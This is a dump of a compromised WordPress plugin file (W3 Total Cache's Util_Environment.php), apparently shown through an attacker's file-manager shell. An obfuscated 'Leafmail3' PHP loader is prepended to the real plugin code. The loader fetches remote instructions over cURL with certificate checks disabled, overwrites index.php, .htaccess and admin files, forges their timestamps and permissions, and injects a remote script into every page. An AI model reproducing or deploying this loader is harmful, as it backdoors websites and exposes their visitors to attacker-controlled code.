AlkantarClanX12

Your IP : 3.149.243.86


Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/w3-total-cache/
Upload File :
Current File : /home/thanudqk/shenpokertour.com/wp-content/plugins/w3-total-cache/Util_Environment.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
 * File: Util_Environment.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class: Util_Environment
 */
class Util_Environment {
	/**
	 * Is using ,aster config.
	 *
	 * @var bool
	 * @static
	 */
	private static $is_using_master_config = null;

	/**
	 * Formats URL.
	 *
	 * @static
	 *
	 * @param string $url        URL.
	 * @param array  $params     Parameters.
	 * @param bool   $skip_empty Skip empty.
	 * @param string $separator  Separate.
	 * @return string
	 */
	public static function url_format( $url = '', $params = array(), $skip_empty = false, $separator = '&' ) {
		if ( ! empty( $url ) ) {
			$parse_url = @parse_url( $url ); // phpcs:ignore
			$url       = '';

			if ( ! empty( $parse_url['scheme'] ) ) {
				$url .= $parse_url['scheme'] . '://';

				if ( ! empty( $parse_url['user'] ) ) {
					$url .= $parse_url['user'];

					if ( ! empty( $parse_url['pass'] ) ) {
						$url .= ':' . $parse_url['pass'];
					}
				}

				if ( ! empty( $parse_url['host'] ) ) {
					$url .= $parse_url['host'];
				}

				if ( ! empty( $parse_url['port'] ) && $parse_url['port'] != 80 ) {
					$url .= ':' . (int) $parse_url['port'];
				}
			}

			if ( ! empty( $parse_url['path'] ) ) {
				$url .= $parse_url['path'];
			}

			if ( ! empty( $parse_url['query'] ) ) {
				$old_params = array();
				parse_str( $parse_url['query'], $old_params );

				$params = array_merge( $old_params, $params );
			}

			$query = self::url_query( $params );

			if ( ! empty( $query ) ) {
				$url .= '?' . $query;
			}

			if ( ! empty( $parse_url['fragment'] ) ) {
				$url .= '#' . $parse_url['fragment'];
			}
		} else {
			$query = self::url_query( $params, $skip_empty, $separator );

			if ( ! empty( $query ) ) {
				$url = '?' . $query;
			}
		}

		return $url;
	}

	/**
	 * Formats query string.
	 *
	 * @static
	 *
	 * @param array  $params     Parameters.
	 * @param bool   $skip_empty Skip empty.
	 * @param string $separator  Separator.
	 * @return string
	 */
	public static function url_query( $params = array(), $skip_empty = false, $separator = '&' ) {
		$str          = '';
		static $stack = array();

		foreach ( (array) $params as $key => $value ) {
			if ( $skip_empty && empty( $value ) ) {
				continue;
			}

			array_push( $stack, $key );

			if ( is_array( $value ) ) {
				if ( count( $value ) ) {
					$str .= ( ! empty( $str ) ? '&' : '' ) .
						self::url_query( $value, $skip_empty, $key );
				}
			} else {
				$name = '';

				foreach ( $stack as $key ) {
					$name .= ( ! empty( $name ) ? '[' . $key . ']' : $key );
				}
				$str .= ( ! empty( $str ) ? $separator : '' ) . $name . '=' . rawurlencode( $value );
			}

			array_pop( $stack );
		}

		return $str;
	}

	/**
	 * Returns URL from filename/dirname.
	 *
	 * @static
	 *
	 * @param string $filename Filename.
	 * @param bool   $use_site_url Use siteurl.
	 * @return string
	 */
	public static function filename_to_url( $filename, $use_site_url = false ) {
		/**
		 * Using wp-content instead of document_root as known dir since dirbased
		 * multisite wp adds blogname to the path inside site_url.
		 */
		if ( substr( $filename, 0, strlen( WP_CONTENT_DIR ) ) === WP_CONTENT_DIR ) {
			// This is the default location of the wp-content/cache directory.
			$location = WP_CONTENT_DIR;
		} else if ( substr( $filename, 0, strlen( W3TC_CACHE_DIR ) ) === W3TC_CACHE_DIR ) {
			// This is needed in the event the cache directory is moved outside of wp-content and replace with a symbolic link.
			$location = substr( W3TC_CACHE_DIR, 0, -strlen( '/cache' ) );
		} else if ( substr( $filename, 0, strlen( W3TC_CONFIG_DIR ) ) === W3TC_CONFIG_DIR ) {
			// This is needed in the event the cache directory is moved outside of wp-content and replace with a symbolic link.
			$location = substr( W3TC_CONFIG_DIR, 0, -strlen( '/w3tc-config' ) );
		} else {
			return '';
		}

		$uri_from_location = substr( $filename, strlen( $location ) );

		if ( DIRECTORY_SEPARATOR != '/' ) {
			$uri_from_location = str_replace( DIRECTORY_SEPARATOR, '/', $uri_from_location );
		}

		$url = content_url( $uri_from_location );
		$url = apply_filters( 'w3tc_filename_to_url', $url );

		return $url;
	}

	/**
	 * Returns true if database cluster is used.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_dbcluster( $config = null ) {
		if ( is_null( $config ) ) {
			// fallback for compatibility with older wp-content/db.php
			$config = \W3TC\Dispatcher::config();
		}

		if ( !self::is_w3tc_pro( $config ) ) {
			return false;
		}

		if ( isset( $GLOBALS['w3tc_dbcluster_config'] ) ) {
			return true;
		}

		return defined( 'W3TC_FILE_DB_CLUSTER_CONFIG' ) &&
			@file_exists( W3TC_FILE_DB_CLUSTER_CONFIG ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
	}

	/**
	 * Returns true if WPMU uses vhosts.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_wpmu_subdomain() {
		return (
			( defined( 'SUBDOMAIN_INSTALL' ) && SUBDOMAIN_INSTALL ) ||
			( defined( 'VHOST' ) && 'yes' === VHOST )
		);
	}

	/**
	 * Returns if there is multisite mode.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_wpmu() {
		static $wpmu = null;

		if ( null === $wpmu ) {
			$wpmu = (
				file_exists( ABSPATH . 'wpmu-settings.php' ) ||
				( defined( 'MULTISITE' ) && MULTISITE ) ||
				defined( 'SUNRISE' ) ||
				self::is_wpmu_subdomain()
			);
		}

		return $wpmu;
	}

	/**
	 * Is using master config.
	 *
	 * @static
	 *
	 * @return bool
	 */
	public static function is_using_master_config() {
		if ( is_null( self::$is_using_master_config ) ) {
			if ( ! self::is_wpmu() ) {
				self::$is_using_master_config = true;
			} elseif ( is_network_admin() ) {
				self::$is_using_master_config = true;
			} else {
				$blog_data = Util_WpmuBlogmap::get_current_blog_data();
				if ( is_null( $blog_data ) ) {
					self::$is_using_master_config = true;
				} else {
					self::$is_using_master_config = ( 'm' === $blog_data[0] );
				}
			}
		}

		return self::$is_using_master_config;
	}

	/**
	 * Returns header W3TC adds to responses powered by itself.
	 *
	 * @static
	 *
	 * @return string
	 */
	public static function w3tc_header() {
		return W3TC_POWERED_BY .
			'/' . W3TC_VERSION;
	}

	/**
	 * Check if URL is valid.
	 *
	 * @static
	 *
	 * @param string $url URL.
	 * @return bool
	 */
	public static function is_url( $url ) {
